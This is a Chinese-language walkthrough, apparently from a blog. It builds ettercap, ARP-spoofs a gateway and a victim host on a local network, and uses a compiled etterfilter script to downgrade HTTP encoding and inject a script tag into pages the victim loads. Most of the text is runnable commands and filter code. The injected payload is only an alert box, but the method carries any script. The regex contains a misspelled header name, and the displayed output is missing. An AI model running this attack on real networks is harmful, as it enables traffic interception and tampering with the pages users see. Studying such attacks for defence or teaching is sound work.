0.准备:
安装:ettercap
apt-get install cmake libncurses5-dev libssl-dev libpcap-dev libnet1-dev
git clone https://github.com/Ettercap/ettercap.git
cd ettercap
mkdir build
cd build
cmake -DENABLE_LUA=on -DCMAKE_INSTALL_PREFIX=/opt/ettercap \
-DCMAKE_BUILD_TYPE=Debug -DENABLE_GTK=off ..
make
make install
或者使用kali2.0系统原装的ettercap。
ettercap可以直接对受害者进行arp欺骗:
运行:
ettercap -T -q -M arp:remote \/192.168.0.1(网关)// /192.168.0.201//(受害者)
显示:
可以看到网关和靶机的ip和MAC地址都已经被获取,说明这两个arp缓存都已经被填充,我们已经成功的进行了arp欺骗。
1.编写攻击脚本,修改用户从服务器得到的网页:
这个攻击脚本是安装etterfilter脚本的格式写的,也可以使用Lua脚本来实现,Lua脚本也可以实现更多的功能。
if (ip.proto == TCP && tcp.dst == 80){ if (search(DATA.data,"Accept-Encoding")){ pcre_regex(DATA.data, "(Accpet-Encoding:).*([\r\n])","$1 identity$2"); msg("="); } } if (ip.proto == TCP && tcp.src == 80){ if (pcre_regex(DATA.data,"<\/head>")){ pcre_regex(DATA.data,"(<\/head>)","<script>alert('Injected')</script>$1"); msg("+"); } }
2.使用etterfilter编译脚本:
etterfilter -o script_inject.ef script_inject.filter
3.使用ettercap 进行arp欺骗攻击,并将攻击脚本注入到用户访问页面中。
ettercap -T -q -M arp:remote -F script_inject.ef \/192.168.0.1// /192.168.0.201//
成功执行后显示:
4.成功弹框: